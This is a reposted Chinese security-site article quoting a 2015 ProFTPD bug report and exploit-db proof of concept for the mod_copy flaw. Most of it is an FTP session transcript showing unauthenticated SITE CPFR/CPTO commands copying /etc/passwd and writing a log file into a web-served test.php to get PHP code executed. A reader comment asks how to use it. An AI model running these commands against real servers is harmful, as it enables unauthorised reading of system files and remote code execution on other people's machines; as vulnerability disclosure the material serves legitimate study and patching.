ProFTPD 2015-04-21 老系统内容 FTP POC

admin 2021年4月2日20:32:12评论39 views字数 1843阅读6分8秒阅读模式
Description TJ Saunders 2015-04-07 16:35:03 UTC 
Vadim Melihow reported a critical issue with proftpd installations that use the 
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands 
to be used by *unauthenticated clients*: 

--------------------------------- 
Trying 80.150.216.115... 
Connected to 80.150.216.115. 
Escape character is '^]'. 
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115] 
site help 
214-The following SITE commands are recognized (* =>'s unimplemented) 
214-CPFR  pathname 
214-CPTO  pathname 
214-UTIME  YYYYMMDDhhmm[ss]  path 
214-SYMLINK  source  destination 
214-RMDIR  path 
214-MKDIR  path 
214-The following SITE extensions are recognized: 
214-RATIO -- show all ratios in effect 
214-QUOTA 
214-HELP 
214-CHGRP 
214-CHMOD 
214 Direct comments to root@www01a 
site cpfr /etc/passwd 
350 File or directory exists, ready for destination name 
site cpto /tmp/passwd.copy 
250 Copy successful 
----------------------------------------- 

He provides another, scarier example: 

------------------------------ 
site cpfr /etc/passwd 
350 File or directory exists, ready for destination name 
site cpto  
550 cpto: Permission denied 
site cpfr /proc/self/fd/3 
350 File or directory exists, ready for destination name 
site cpto /var/www/test.php 

test.php now contains 
---------------------- 
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q 
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument 
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q 
(slon-P5Q.lan[192.168.3.193]): FTP session opened. 
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q 
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/' for copying: Permission denied 
----------------------- 

test.php contains contain correct php script "" which 
can be run by the php interpreter 

Source: http://bugs.proftpd.org/show_bug.cgi?id=4169

from: https://www.exploit-db.com/exploits/36742/

留言评论(旧系统):

佚名 @ 2015-05-12 16:41:52

这个怎么使用 姿势啊

本站回复:

https://www.exploit-db.com/exploits/36742/

文章来源于lcx.cc:ProFTPD

2015-04-21

老系统内容
FTP
POC
漏洞
文件

约 259 字
预计阅读 1 分钟

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月2日20:32:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ProFTPD 2015-04-21 老系统内容 FTP POChttp://cn-sec.com/archives/317613.html

发表评论

匿名网友 填写信息